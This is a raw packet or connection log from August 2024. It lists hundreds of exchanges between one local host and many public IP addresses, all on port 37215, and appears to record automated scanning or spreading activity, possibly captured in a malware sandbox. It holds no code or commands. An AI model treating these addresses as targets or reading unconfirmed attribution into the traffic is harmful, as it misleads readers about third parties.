Aug 6, 2024 08:32:57.874970913 CEST	37215	41642	156.88.39.9	192.168.2.14
Aug 6, 2024 08:32:57.874983072 CEST	37215	55264	41.189.168.243	192.168.2.14
Aug 6, 2024 08:32:57.875009060 CEST	41642	37215	192.168.2.14	156.88.39.9
Aug 6, 2024 08:32:57.875030041 CEST	41642	37215	192.168.2.14	156.88.39.9
Aug 6, 2024 08:32:57.875097036 CEST	55264	37215	192.168.2.14	41.189.168.243
Aug 6, 2024 08:32:57.875106096 CEST	37215	42356	197.3.222.193	192.168.2.14
Aug 6, 2024 08:32:57.875118017 CEST	37215	42558	197.3.222.193	192.168.2.14
Aug 6, 2024 08:32:57.875128984 CEST	37215	38470	197.190.71.95	192.168.2.14
Aug 6, 2024 08:32:57.875139952 CEST	37215	38668	197.190.71.95	192.168.2.14
Aug 6, 2024 08:32:57.875139952 CEST	55264	37215	192.168.2.14	41.189.168.243
Aug 6, 2024 08:32:57.875150919 CEST	37215	42978	197.151.199.82	192.168.2.14
Aug 6, 2024 08:32:57.875163078 CEST	37215	34782	156.176.4.128	192.168.2.14
Aug 6, 2024 08:32:57.875178099 CEST	42558	37215	192.168.2.14	197.3.222.193
Aug 6, 2024 08:32:57.875178099 CEST	38668	37215	192.168.2.14	197.190.71.95
Aug 6, 2024 08:32:57.875178099 CEST	42558	37215	192.168.2.14	197.3.222.193
Aug 6, 2024 08:32:57.875190020 CEST	42978	37215	192.168.2.14	197.151.199.82
Aug 6, 2024 08:32:57.875190020 CEST	34782	37215	192.168.2.14	156.176.4.128
Aug 6, 2024 08:32:57.875193119 CEST	38668	37215	192.168.2.14	197.190.71.95
Aug 6, 2024 08:32:57.875200987 CEST	42978	37215	192.168.2.14	197.151.199.82
Aug 6, 2024 08:32:57.875209093 CEST	37215	34420	156.105.22.195	192.168.2.14
Aug 6, 2024 08:32:57.875220060 CEST	37215	42780	197.151.199.82	192.168.2.14
Aug 6, 2024 08:32:57.875224113 CEST	34782	37215	192.168.2.14	156.176.4.128
Aug 6, 2024 08:32:57.875381947 CEST	37215	34588	156.176.4.128	192.168.2.14
Aug 6, 2024 08:32:57.875392914 CEST	37215	35050	197.202.174.153	192.168.2.14
Aug 6, 2024 08:32:57.875413895 CEST	37215	34620	156.105.22.195	192.168.2.14
Aug 6, 2024 08:32:57.875425100 CEST	37215	35250	197.202.174.153	192.168.2.14
Aug 6, 2024 08:32:57.875452042 CEST	35250	37215	192.168.2.14	197.202.174.153
Aug 6, 2024 08:32:57.875454903 CEST	34620	37215	192.168.2.14	156.105.22.195
Aug 6, 2024 08:32:57.875477076 CEST	34620	37215	192.168.2.14	156.105.22.195
Aug 6, 2024 08:32:57.875483990 CEST	35250	37215	192.168.2.14	197.202.174.153
Aug 6, 2024 08:32:57.875617981 CEST	37215	48158	41.124.13.62	192.168.2.14
Aug 6, 2024 08:32:57.875628948 CEST	37215	48356	41.124.13.62	192.168.2.14
Aug 6, 2024 08:32:57.875641108 CEST	37215	33454	41.240.222.87	192.168.2.14
Aug 6, 2024 08:32:57.875650883 CEST	37215	56804	156.39.190.188	192.168.2.14
Aug 6, 2024 08:32:57.875664949 CEST	37215	42618	41.81.28.179	192.168.2.14
Aug 6, 2024 08:32:57.875675917 CEST	37215	57002	156.39.190.188	192.168.2.14
Aug 6, 2024 08:32:57.875678062 CEST	48356	37215	192.168.2.14	41.124.13.62
Aug 6, 2024 08:32:57.875679016 CEST	33454	37215	192.168.2.14	41.240.222.87
Aug 6, 2024 08:32:57.875689983 CEST	48356	37215	192.168.2.14	41.124.13.62
Aug 6, 2024 08:32:57.875701904 CEST	33454	37215	192.168.2.14	41.240.222.87
Aug 6, 2024 08:32:57.875706911 CEST	37215	43414	197.175.48.74	192.168.2.14
Aug 6, 2024 08:32:57.875708103 CEST	57002	37215	192.168.2.14	156.39.190.188
Aug 6, 2024 08:32:57.875710011 CEST	42618	37215	192.168.2.14	41.81.28.179
Aug 6, 2024 08:32:57.875718117 CEST	37215	43612	197.175.48.74	192.168.2.14
Aug 6, 2024 08:32:57.875730038 CEST	37215	53660	41.83.20.241	192.168.2.14
Aug 6, 2024 08:32:57.875730991 CEST	42618	37215	192.168.2.14	41.81.28.179
Aug 6, 2024 08:32:57.875741005 CEST	57002	37215	192.168.2.14	156.39.190.188
Aug 6, 2024 08:32:57.875751019 CEST	37215	53858	41.83.20.241	192.168.2.14
Aug 6, 2024 08:32:57.875758886 CEST	43612	37215	192.168.2.14	197.175.48.74
Aug 6, 2024 08:32:57.875758886 CEST	43612	37215	192.168.2.14	197.175.48.74
Aug 6, 2024 08:32:57.875782013 CEST	53858	37215	192.168.2.14	41.83.20.241
Aug 6, 2024 08:32:57.875801086 CEST	53858	37215	192.168.2.14	41.83.20.241
Aug 6, 2024 08:32:57.876292944 CEST	37215	56858	197.182.131.25	192.168.2.14
Aug 6, 2024 08:32:57.876369953 CEST	37215	56972	41.81.241.106	192.168.2.14
Aug 6, 2024 08:32:57.876382113 CEST	37215	54554	197.56.49.46	192.168.2.14
Aug 6, 2024 08:32:57.876391888 CEST	37215	43808	41.33.222.0	192.168.2.14
Aug 6, 2024 08:32:57.876403093 CEST	37215	45144	41.15.163.226	192.168.2.14
Aug 6, 2024 08:32:57.876415014 CEST	37215	41968	41.106.36.243	192.168.2.14
Aug 6, 2024 08:32:57.876425028 CEST	37215	43786	41.31.137.85	192.168.2.14
Aug 6, 2024 08:32:57.876435041 CEST	37215	60306	41.164.8.110	192.168.2.14
Aug 6, 2024 08:32:57.876445055 CEST	37215	35660	197.193.18.117	192.168.2.14
Aug 6, 2024 08:32:57.876467943 CEST	37215	34582	41.38.241.60	192.168.2.14
Aug 6, 2024 08:32:57.876477957 CEST	37215	35096	197.241.182.112	192.168.2.14
Aug 6, 2024 08:32:57.876494884 CEST	37215	49590	41.81.246.30	192.168.2.14
Aug 6, 2024 08:32:57.876504898 CEST	37215	40100	197.154.7.11	192.168.2.14
Aug 6, 2024 08:32:57.876516104 CEST	37215	54696	197.80.100.123	192.168.2.14
Aug 6, 2024 08:32:57.876527071 CEST	37215	58512	197.126.10.193	192.168.2.14
Aug 6, 2024 08:32:57.876537085 CEST	37215	40082	197.127.41.121	192.168.2.14
Aug 6, 2024 08:32:57.876549006 CEST	37215	35106	156.44.129.184	192.168.2.14
Aug 6, 2024 08:32:57.876559973 CEST	37215	42476	41.225.39.66	192.168.2.14
Aug 6, 2024 08:32:57.876569033 CEST	37215	55594	197.129.188.53	192.168.2.14
Aug 6, 2024 08:32:57.876579046 CEST	37215	37478	41.168.55.54	192.168.2.14
Aug 6, 2024 08:32:57.876589060 CEST	37215	41270	197.211.102.57	192.168.2.14
Aug 6, 2024 08:32:57.876597881 CEST	37215	52086	41.187.38.232	192.168.2.14
Aug 6, 2024 08:32:57.876609087 CEST	37215	47992	41.113.66.102	192.168.2.14
Aug 6, 2024 08:32:57.876617908 CEST	37215	44562	41.96.167.241	192.168.2.14
Aug 6, 2024 08:32:57.876629114 CEST	37215	49242	41.48.241.76	192.168.2.14
Aug 6, 2024 08:32:57.876638889 CEST	37215	43390	41.217.111.255	192.168.2.14
Aug 6, 2024 08:32:57.876647949 CEST	37215	53988	156.99.80.91	192.168.2.14
Aug 6, 2024 08:32:57.876657963 CEST	37215	56890	41.242.140.238	192.168.2.14
Aug 6, 2024 08:32:57.876667976 CEST	37215	58534	197.203.159.212	192.168.2.14
Aug 6, 2024 08:32:57.876687050 CEST	37215	51418	197.144.79.247	192.168.2.14
Aug 6, 2024 08:32:57.876708031 CEST	37215	33034	41.162.103.68	192.168.2.14
Aug 6, 2024 08:32:57.876719952 CEST	37215	48038	41.210.226.180	192.168.2.14
Aug 6, 2024 08:32:57.876729012 CEST	37215	43418	156.45.179.57	192.168.2.14
Aug 6, 2024 08:32:57.876739979 CEST	37215	49442	197.210.183.23	192.168.2.14
Aug 6, 2024 08:32:57.876750946 CEST	37215	47382	197.21.237.243	192.168.2.14
Aug 6, 2024 08:32:57.876760960 CEST	37215	37536	41.241.47.76	192.168.2.14
Aug 6, 2024 08:32:57.876770973 CEST	37215	44276	197.31.205.62	192.168.2.14
Aug 6, 2024 08:32:57.876780987 CEST	37215	53578	41.164.18.227	192.168.2.14
Aug 6, 2024 08:32:57.876791954 CEST	37215	45468	156.95.131.110	192.168.2.14
Aug 6, 2024 08:32:57.876801968 CEST	37215	48692	156.94.250.60	192.168.2.14
Aug 6, 2024 08:32:57.876811981 CEST	37215	59602	41.244.209.174	192.168.2.14
Aug 6, 2024 08:32:57.876822948 CEST	37215	50136	197.150.29.200	192.168.2.14
Aug 6, 2024 08:32:57.876832962 CEST	37215	49386	197.183.103.104	192.168.2.14
Aug 6, 2024 08:32:57.876843929 CEST	37215	60280	156.135.80.58	192.168.2.14
Aug 6, 2024 08:32:57.876853943 CEST	37215	57866	41.34.23.164	192.168.2.14
Aug 6, 2024 08:32:57.876863003 CEST	37215	48692	156.28.212.86	192.168.2.14
Aug 6, 2024 08:32:57.876873016 CEST	37215	50062	156.146.138.56	192.168.2.14
Aug 6, 2024 08:32:57.876883984 CEST	37215	36130	197.203.208.42	192.168.2.14
Aug 6, 2024 08:32:57.876893044 CEST	37215	39942	41.47.235.221	192.168.2.14
Aug 6, 2024 08:32:57.876909971 CEST	37215	37664	41.235.232.193	192.168.2.14
Aug 6, 2024 08:32:57.876929045 CEST	37215	55670	156.209.183.183	192.168.2.14
Aug 6, 2024 08:32:57.876945972 CEST	37215	41104	197.205.58.249	192.168.2.14
Aug 6, 2024 08:32:57.876957893 CEST	37215	54302	156.246.176.160	192.168.2.14
Aug 6, 2024 08:32:57.876967907 CEST	37215	57848	197.141.165.224	192.168.2.14
Aug 6, 2024 08:32:57.876977921 CEST	37215	57598	41.3.58.68	192.168.2.14
Aug 6, 2024 08:32:57.876990080 CEST	37215	39952	197.116.99.16	192.168.2.14
Aug 6, 2024 08:32:57.877000093 CEST	37215	42172	156.213.90.130	192.168.2.14
Aug 6, 2024 08:32:57.877011061 CEST	37215	40776	156.198.249.101	192.168.2.14
Aug 6, 2024 08:32:57.877021074 CEST	37215	54348	41.99.158.148	192.168.2.14
Aug 6, 2024 08:32:57.877031088 CEST	37215	50344	156.83.69.150	192.168.2.14
Aug 6, 2024 08:32:57.877042055 CEST	37215	39582	156.5.53.84	192.168.2.14
Aug 6, 2024 08:32:57.877052069 CEST	37215	36612	156.178.121.45	192.168.2.14
Aug 6, 2024 08:32:57.877062082 CEST	37215	48462	197.229.89.107	192.168.2.14
Aug 6, 2024 08:32:57.877073050 CEST	37215	55356	41.42.85.198	192.168.2.14
Aug 6, 2024 08:32:57.877083063 CEST	37215	58948	197.197.24.70	192.168.2.14
Aug 6, 2024 08:32:57.877094984 CEST	37215	36616	156.181.110.86	192.168.2.14
Aug 6, 2024 08:32:57.877104998 CEST	37215	57986	41.116.61.218	192.168.2.14
Aug 6, 2024 08:32:57.877115011 CEST	37215	44944	197.94.98.140	192.168.2.14
Aug 6, 2024 08:32:57.877126932 CEST	37215	36488	156.232.20.55	192.168.2.14
Aug 6, 2024 08:32:57.877136946 CEST	37215	60728	197.28.182.242	192.168.2.14
Aug 6, 2024 08:32:57.877146959 CEST	37215	46112	197.204.204.27	192.168.2.14
Aug 6, 2024 08:32:57.877159119 CEST	37215	47502	41.195.75.21	192.168.2.14
Aug 6, 2024 08:32:57.877170086 CEST	37215	40212	156.107.107.14	192.168.2.14
Aug 6, 2024 08:32:57.877180099 CEST	37215	41534	41.242.100.27	192.168.2.14
Aug 6, 2024 08:32:57.877190113 CEST	37215	46138	156.90.27.13	192.168.2.14
Aug 6, 2024 08:32:57.877201080 CEST	37215	38736	156.252.2.121	192.168.2.14
Aug 6, 2024 08:32:57.877211094 CEST	37215	59098	156.132.197.53	192.168.2.14
Aug 6, 2024 08:32:57.877221107 CEST	37215	45032	41.60.167.28	192.168.2.14
Aug 6, 2024 08:32:57.877232075 CEST	37215	37660	41.51.78.43	192.168.2.14
Aug 6, 2024 08:32:57.877242088 CEST	37215	38584	156.222.74.186	192.168.2.14
Aug 6, 2024 08:32:57.877253056 CEST	37215	40614	156.55.85.117	192.168.2.14
Aug 6, 2024 08:32:57.877263069 CEST	37215	57514	156.0.126.61	192.168.2.14
Aug 6, 2024 08:32:57.877278090 CEST	37215	49388	41.69.62.137	192.168.2.14
Aug 6, 2024 08:32:57.877288103 CEST	37215	47262	41.88.164.69	192.168.2.14
Aug 6, 2024 08:32:57.877298117 CEST	37215	56028	156.224.207.229	192.168.2.14
Aug 6, 2024 08:32:57.877307892 CEST	37215	39286	41.205.118.26	192.168.2.14
Aug 6, 2024 08:32:57.877316952 CEST	37215	33284	197.129.180.128	192.168.2.14
Aug 6, 2024 08:32:57.877327919 CEST	37215	41002	156.227.117.100	192.168.2.14
Aug 6, 2024 08:32:57.877343893 CEST	37215	43216	41.142.161.8	192.168.2.14
Aug 6, 2024 08:32:57.877355099 CEST	37215	36780	41.234.139.223	192.168.2.14
Aug 6, 2024 08:32:57.877363920 CEST	37215	60386	156.167.74.1	192.168.2.14
Aug 6, 2024 08:32:57.877372980 CEST	37215	46630	41.179.116.217	192.168.2.14
Aug 6, 2024 08:32:57.877384901 CEST	37215	45370	156.61.31.26	192.168.2.14
Aug 6, 2024 08:32:57.877405882 CEST	37215	34212	156.129.31.110	192.168.2.14
Aug 6, 2024 08:32:57.877415895 CEST	37215	58262	197.39.222.191	192.168.2.14
Aug 6, 2024 08:32:57.877432108 CEST	37215	39786	41.64.229.92	192.168.2.14
Aug 6, 2024 08:32:57.877441883 CEST	37215	39182	156.220.29.16	192.168.2.14
Aug 6, 2024 08:32:57.877451897 CEST	37215	46728	156.203.201.64	192.168.2.14
Aug 6, 2024 08:32:57.877461910 CEST	37215	34456	41.199.180.220	192.168.2.14
Aug 6, 2024 08:32:57.877473116 CEST	37215	60564	156.183.46.173	192.168.2.14
Aug 6, 2024 08:32:57.877482891 CEST	37215	47384	156.159.84.59	192.168.2.14
Aug 6, 2024 08:32:57.877492905 CEST	37215	44844	156.32.123.200	192.168.2.14
Aug 6, 2024 08:32:57.877502918 CEST	37215	48014	41.45.249.113	192.168.2.14
Aug 6, 2024 08:32:57.877512932 CEST	37215	34222	197.147.67.118	192.168.2.14
Aug 6, 2024 08:32:57.877523899 CEST	37215	43354	156.201.149.51	192.168.2.14
Aug 6, 2024 08:32:57.877533913 CEST	37215	54548	41.34.50.198	192.168.2.14
Aug 6, 2024 08:32:57.877552986 CEST	37215	44308	156.163.154.143	192.168.2.14
Aug 6, 2024 08:32:57.877563000 CEST	37215	35962	197.178.231.23	192.168.2.14
Aug 6, 2024 08:32:57.877573967 CEST	37215	57628	41.164.3.200	192.168.2.14
Aug 6, 2024 08:32:57.877585888 CEST	37215	45120	41.137.49.124	192.168.2.14
Aug 6, 2024 08:32:57.877595901 CEST	37215	48012	41.150.227.160	192.168.2.14
Aug 6, 2024 08:32:57.877607107 CEST	37215	52468	41.146.250.201	192.168.2.14
Aug 6, 2024 08:32:57.877618074 CEST	37215	42358	197.91.92.162	192.168.2.14
Aug 6, 2024 08:32:57.877629042 CEST	37215	40388	156.151.233.217	192.168.2.14
Aug 6, 2024 08:32:57.877640963 CEST	37215	48960	197.0.151.175	192.168.2.14
Aug 6, 2024 08:32:57.877651930 CEST	37215	36024	41.123.254.171	192.168.2.14
Aug 6, 2024 08:32:57.877660990 CEST	37215	53360	41.219.94.196	192.168.2.14
Aug 6, 2024 08:32:57.877671957 CEST	37215	40056	197.26.78.192	192.168.2.14
Aug 6, 2024 08:32:57.877681971 CEST	37215	40450	197.253.137.119	192.168.2.14
Aug 6, 2024 08:32:57.877692938 CEST	37215	39656	41.136.242.8	192.168.2.14
Aug 6, 2024 08:32:57.877703905 CEST	37215	37980	156.10.5.237	192.168.2.14
Aug 6, 2024 08:32:57.877713919 CEST	37215	56364	156.118.71.208	192.168.2.14
Aug 6, 2024 08:32:57.877723932 CEST	37215	54334	41.217.74.217	192.168.2.14
Aug 6, 2024 08:32:57.877734900 CEST	37215	36880	197.22.69.25	192.168.2.14
Aug 6, 2024 08:32:57.877744913 CEST	37215	58080	197.232.216.53	192.168.2.14
Aug 6, 2024 08:32:57.877754927 CEST	37215	41296	41.65.44.253	192.168.2.14
Aug 6, 2024 08:32:57.877763987 CEST	37215	46362	197.145.206.32	192.168.2.14
Aug 6, 2024 08:32:57.877774000 CEST	37215	47978	156.241.3.212	192.168.2.14
Aug 6, 2024 08:32:57.877784014 CEST	37215	44304	197.220.115.179	192.168.2.14
Aug 6, 2024 08:32:57.877794981 CEST	37215	52418	156.215.168.4	192.168.2.14
Aug 6, 2024 08:32:57.877804995 CEST	37215	36852	41.96.92.153	192.168.2.14
Aug 6, 2024 08:32:57.877815962 CEST	37215	51448	41.2.95.20	192.168.2.14
Aug 6, 2024 08:32:57.877825022 CEST	37215	56840	41.214.215.249	192.168.2.14
Aug 6, 2024 08:32:57.877834082 CEST	37215	44574	41.241.250.246	192.168.2.14
Aug 6, 2024 08:32:57.877845049 CEST	37215	35286	156.124.36.83	192.168.2.14
Aug 6, 2024 08:32:57.877855062 CEST	37215	46922	41.67.69.204	192.168.2.14
Aug 6, 2024 08:32:57.877865076 CEST	37215	53394	41.207.104.124	192.168.2.14
Aug 6, 2024 08:32:57.877876043 CEST	37215	60736	197.112.240.90	192.168.2.14
Aug 6, 2024 08:32:57.877883911 CEST	37215	41472	197.158.198.40	192.168.2.14
Aug 6, 2024 08:32:57.877893925 CEST	37215	57406	41.75.95.48	192.168.2.14
Aug 6, 2024 08:32:57.877902985 CEST	37215	44848	156.216.133.161	192.168.2.14
Aug 6, 2024 08:32:57.877912045 CEST	37215	47152	197.214.35.214	192.168.2.14
Aug 6, 2024 08:32:57.877922058 CEST	37215	50414	156.177.204.221	192.168.2.14
Aug 6, 2024 08:32:57.877931118 CEST	37215	40234	41.9.222.229	192.168.2.14
Aug 6, 2024 08:32:57.877942085 CEST	37215	57548	197.125.78.47	192.168.2.14
Aug 6, 2024 08:32:57.877953053 CEST	37215	55390	41.84.239.116	192.168.2.14
Aug 6, 2024 08:32:57.877962112 CEST	37215	53662	156.196.237.33	192.168.2.14
Aug 6, 2024 08:32:57.877970934 CEST	37215	40730	41.225.151.149	192.168.2.14
Aug 6, 2024 08:32:57.877980947 CEST	37215	49370	197.194.34.222	192.168.2.14
Aug 6, 2024 08:32:57.877990961 CEST	37215	44010	41.158.83.113	192.168.2.14
Aug 6, 2024 08:32:57.878000975 CEST	37215	33496	197.198.169.113	192.168.2.14
Aug 6, 2024 08:32:57.878010988 CEST	37215	32810	197.52.174.50	192.168.2.14
Aug 6, 2024 08:32:57.878021002 CEST	37215	43554	156.234.152.134	192.168.2.14
Aug 6, 2024 08:32:57.878030062 CEST	37215	55916	197.132.30.188	192.168.2.14
Aug 6, 2024 08:32:57.878040075 CEST	37215	53552	41.85.183.189	192.168.2.14
Aug 6, 2024 08:32:57.878058910 CEST	37215	55950	41.17.186.253	192.168.2.14
Aug 6, 2024 08:32:57.878072023 CEST	37215	42768	197.170.123.35	192.168.2.14
Aug 6, 2024 08:32:57.878082037 CEST	37215	51208	197.201.238.246	192.168.2.14
Aug 6, 2024 08:32:57.878092051 CEST	37215	57280	197.229.186.220	192.168.2.14
Aug 6, 2024 08:32:57.878102064 CEST	37215	43752	41.180.58.253	192.168.2.14
Aug 6, 2024 08:32:57.878110886 CEST	37215	50840	156.210.44.233	192.168.2.14
Aug 6, 2024 08:32:57.878122091 CEST	37215	50616	41.139.158.191	192.168.2.14
Aug 6, 2024 08:32:57.878130913 CEST	37215	59322	41.175.207.136	192.168.2.14
Aug 6, 2024 08:32:57.878140926 CEST	37215	56816	156.226.194.179	192.168.2.14
Aug 6, 2024 08:32:57.878151894 CEST	37215	50144	41.99.246.34	192.168.2.14
Aug 6, 2024 08:32:57.878163099 CEST	37215	53866	41.206.96.163	192.168.2.14
Aug 6, 2024 08:32:57.878171921 CEST	37215	42252	156.138.84.192	192.168.2.14
Aug 6, 2024 08:32:57.878180981 CEST	37215	53100	41.89.37.118	192.168.2.14
Aug 6, 2024 08:32:57.878190994 CEST	37215	52234	156.60.205.144	192.168.2.14
Aug 6, 2024 08:32:57.878201008 CEST	37215	60752	41.67.110.230	192.168.2.14
Aug 6, 2024 08:32:57.878210068 CEST	37215	48232	197.150.61.72	192.168.2.14
Aug 6, 2024 08:32:57.878220081 CEST	37215	41536	156.5.65.103	192.168.2.14
Aug 6, 2024 08:32:57.878228903 CEST	37215	38176	197.79.169.4	192.168.2.14
Aug 6, 2024 08:32:57.878238916 CEST	37215	50182	197.119.21.203	192.168.2.14
Aug 6, 2024 08:32:57.878248930 CEST	37215	44814	156.99.124.37	192.168.2.14
Aug 6, 2024 08:32:57.878258944 CEST	37215	38972	41.96.213.218	192.168.2.14
Aug 6, 2024 08:32:57.878268957 CEST	37215	37592	41.89.22.189	192.168.2.14
Aug 6, 2024 08:32:57.878279924 CEST	37215	54134	197.106.150.96	192.168.2.14
Aug 6, 2024 08:32:57.878288031 CEST	37215	57274	197.77.215.2	192.168.2.14
Aug 6, 2024 08:32:57.878298044 CEST	37215	33520	156.91.153.27	192.168.2.14
Aug 6, 2024 08:32:57.878307104 CEST	37215	43966	41.7.6.195	192.168.2.14
Aug 6, 2024 08:32:57.878315926 CEST	37215	35864	156.197.209.77	192.168.2.14
Aug 6, 2024 08:32:57.878326893 CEST	37215	60564	156.35.207.34	192.168.2.14
Aug 6, 2024 08:32:57.878335953 CEST	37215	53450	197.91.152.70	192.168.2.14
Aug 6, 2024 08:32:57.878345013 CEST	37215	35772	156.83.38.198	192.168.2.14
Aug 6, 2024 08:32:57.878355980 CEST	37215	37938	41.138.94.83	192.168.2.14
Aug 6, 2024 08:32:57.878365993 CEST	37215	37674	41.102.17.195	192.168.2.14
Aug 6, 2024 08:32:57.878376007 CEST	37215	40776	41.67.26.104	192.168.2.14
Aug 6, 2024 08:32:57.878386021 CEST	37215	36814	156.243.95.77	192.168.2.14
Aug 6, 2024 08:32:57.878396034 CEST	37215	45972	197.199.54.86	192.168.2.14
Aug 6, 2024 08:32:57.878406048 CEST	37215	34248	156.85.171.206	192.168.2.14
Aug 6, 2024 08:32:57.878415108 CEST	37215	60226	197.184.42.189	192.168.2.14
Aug 6, 2024 08:32:57.878423929 CEST	37215	56068	197.125.42.65	192.168.2.14
Aug 6, 2024 08:32:57.878433943 CEST	37215	42420	41.81.28.179	192.168.2.14
Aug 6, 2024 08:32:57.878443956 CEST	37215	33256	41.240.222.87	192.168.2.14
Aug 6, 2024 08:32:57.878453970 CEST	37215	33614	41.195.3.220	192.168.2.14
Aug 6, 2024 08:32:57.878463984 CEST	37215	33812	41.195.3.220	192.168.2.14
Aug 6, 2024 08:32:57.878473043 CEST	37215	56116	41.169.1.160	192.168.2.14
Aug 6, 2024 08:32:57.878490925 CEST	37215	56314	41.169.1.160	192.168.2.14
Aug 6, 2024 08:32:57.878500938 CEST	37215	52128	197.123.250.251	192.168.2.14
Aug 6, 2024 08:32:57.878510952 CEST	37215	52326	197.123.250.251	192.168.2.14
Aug 6, 2024 08:32:57.878518105 CEST	33812	37215	192.168.2.14	41.195.3.220
Aug 6, 2024 08:32:57.878520966 CEST	37215	47834	41.233.198.210	192.168.2.14
Aug 6, 2024 08:32:57.878525972 CEST	56314	37215	192.168.2.14	41.169.1.160
Aug 6, 2024 08:32:57.878530979 CEST	37215	51634	156.31.218.172	192.168.2.14
Aug 6, 2024 08:32:57.878536940 CEST	52326	37215	192.168.2.14	197.123.250.251
Aug 6, 2024 08:32:57.878540993 CEST	37215	47636	41.233.198.210	192.168.2.14
Aug 6, 2024 08:32:57.878552914 CEST	37215	51832	156.31.218.172	192.168.2.14
Aug 6, 2024 08:32:57.878554106 CEST	33812	37215	192.168.2.14	41.195.3.220
Aug 6, 2024 08:32:57.878563881 CEST	37215	36802	197.94.142.206	192.168.2.14
Aug 6, 2024 08:32:57.878572941 CEST	47834	37215	192.168.2.14	41.233.198.210
Aug 6, 2024 08:32:57.878575087 CEST	37215	37000	197.94.142.206	192.168.2.14
Aug 6, 2024 08:32:57.878583908 CEST	37215	48114	156.99.69.120	192.168.2.14
Aug 6, 2024 08:32:57.878586054 CEST	51832	37215	192.168.2.14	156.31.218.172
Aug 6, 2024 08:32:57.878592968 CEST	37215	48312	156.99.69.120	192.168.2.14
Aug 6, 2024 08:32:57.878603935 CEST	37215	56026	41.71.67.34	192.168.2.14
Aug 6, 2024 08:32:57.878612995 CEST	37215	53542	41.39.210.77	192.168.2.14
Aug 6, 2024 08:32:57.878623962 CEST	37215	53740	41.39.210.77	192.168.2.14
Aug 6, 2024 08:32:57.878633022 CEST	37000	37215	192.168.2.14	197.94.142.206
Aug 6, 2024 08:32:57.878633976 CEST	37215	52120	197.17.109.18	192.168.2.14
Aug 6, 2024 08:32:57.878638029 CEST	48312	37215	192.168.2.14	156.99.69.120
Aug 6, 2024 08:32:57.878643036 CEST	37215	56224	41.71.67.34	192.168.2.14
Aug 6, 2024 08:32:57.878652096 CEST	37215	52318	197.17.109.18	192.168.2.14
Aug 6, 2024 08:32:57.878660917 CEST	37215	33886	156.111.178.221	192.168.2.14
Aug 6, 2024 08:32:57.878663063 CEST	53740	37215	192.168.2.14	41.39.210.77
Aug 6, 2024 08:32:57.878671885 CEST	37215	34084	156.111.178.221	192.168.2.14
Aug 6, 2024 08:32:57.878679037 CEST	52318	37215	192.168.2.14	197.17.109.18
Aug 6, 2024 08:32:57.878685951 CEST	56224	37215	192.168.2.14	41.71.67.34
Aug 6, 2024 08:32:57.878690004 CEST	37215	59960	41.64.162.163	192.168.2.14
Aug 6, 2024 08:32:57.878703117 CEST	37215	57790	197.85.104.216	192.168.2.14
Aug 6, 2024 08:32:57.878709078 CEST	34084	37215	192.168.2.14	156.111.178.221
Aug 6, 2024 08:32:57.878714085 CEST	37215	60158	41.64.162.163	192.168.2.14
Aug 6, 2024 08:32:57.878724098 CEST	37215	57988	197.85.104.216	192.168.2.14
Aug 6, 2024 08:32:57.878732920 CEST	37215	33664	197.248.74.54	192.168.2.14
Aug 6, 2024 08:32:57.878740072 CEST	60158	37215	192.168.2.14	41.64.162.163
Aug 6, 2024 08:32:57.878742933 CEST	37215	33862	197.248.74.54	192.168.2.14
Aug 6, 2024 08:32:57.878751993 CEST	37215	49082	41.126.237.119	192.168.2.14
Aug 6, 2024 08:32:57.878757954 CEST	57988	37215	192.168.2.14	197.85.104.216
Aug 6, 2024 08:32:57.878761053 CEST	37215	54852	197.129.93.172	192.168.2.14
Aug 6, 2024 08:32:57.878767967 CEST	33862	37215	192.168.2.14	197.248.74.54
Aug 6, 2024 08:32:57.878772020 CEST	37215	48888	41.126.237.119	192.168.2.14
Aug 6, 2024 08:32:57.878781080 CEST	37215	46206	41.241.249.10	192.168.2.14
Aug 6, 2024 08:32:57.878782988 CEST	49082	37215	192.168.2.14	41.126.237.119
Aug 6, 2024 08:32:57.878791094 CEST	37215	57988	156.109.160.83	192.168.2.14
Aug 6, 2024 08:32:57.878794909 CEST	54852	37215	192.168.2.14	197.129.93.172
Aug 6, 2024 08:32:57.878794909 CEST	37000	37215	192.168.2.14	197.94.142.206
Aug 6, 2024 08:32:57.878801107 CEST	57988	37215	192.168.2.14	197.85.104.216
Aug 6, 2024 08:32:57.878802061 CEST	37215	54652	197.129.93.172	192.168.2.14
Aug 6, 2024 08:32:57.878812075 CEST	37215	46406	41.241.249.10	192.168.2.14
Aug 6, 2024 08:32:57.878820896 CEST	37215	58186	156.109.160.83	192.168.2.14
Aug 6, 2024 08:32:57.878823996 CEST	47834	37215	192.168.2.14	41.233.198.210
Aug 6, 2024 08:32:57.878825903 CEST	48312	37215	192.168.2.14	156.99.69.120
Aug 6, 2024 08:32:57.878825903 CEST	56224	37215	192.168.2.14	41.71.67.34
Aug 6, 2024 08:32:57.878829956 CEST	37215	57380	156.68.100.122	192.168.2.14
Aug 6, 2024 08:32:57.878840923 CEST	37215	57578	156.68.100.122	192.168.2.14
Aug 6, 2024 08:32:57.878843069 CEST	33862	37215	192.168.2.14	197.248.74.54
Aug 6, 2024 08:32:57.878844023 CEST	49082	37215	192.168.2.14	41.126.237.119
Aug 6, 2024 08:32:57.878844023 CEST	46406	37215	192.168.2.14	41.241.249.10
Aug 6, 2024 08:32:57.878845930 CEST	53740	37215	192.168.2.14	41.39.210.77
Aug 6, 2024 08:32:57.878851891 CEST	37215	60190	197.246.49.210	192.168.2.14
Aug 6, 2024 08:32:57.878853083 CEST	52326	37215	192.168.2.14	197.123.250.251
Aug 6, 2024 08:32:57.878864050 CEST	57578	37215	192.168.2.14	156.68.100.122
Aug 6, 2024 08:32:57.878865004 CEST	37215	60388	197.246.49.210	192.168.2.14
Aug 6, 2024 08:32:57.878869057 CEST	56314	37215	192.168.2.14	41.169.1.160
Aug 6, 2024 08:32:57.878870010 CEST	51832	37215	192.168.2.14	156.31.218.172
Aug 6, 2024 08:32:57.878875971 CEST	37215	45084	156.120.203.129	192.168.2.14
Aug 6, 2024 08:32:57.878878117 CEST	52318	37215	192.168.2.14	197.17.109.18
Aug 6, 2024 08:32:57.878880024 CEST	58186	37215	192.168.2.14	156.109.160.83
Aug 6, 2024 08:32:57.878885984 CEST	37215	45278	156.120.203.129	192.168.2.14
Aug 6, 2024 08:32:57.878891945 CEST	34084	37215	192.168.2.14	156.111.178.221
Aug 6, 2024 08:32:57.878891945 CEST	60388	37215	192.168.2.14	197.246.49.210
Aug 6, 2024 08:32:57.878899097 CEST	60158	37215	192.168.2.14	41.64.162.163
Aug 6, 2024 08:32:57.878900051 CEST	37215	53460	156.229.253.94	192.168.2.14
Aug 6, 2024 08:32:57.878916979 CEST	37215	51716	156.110.107.187	192.168.2.14
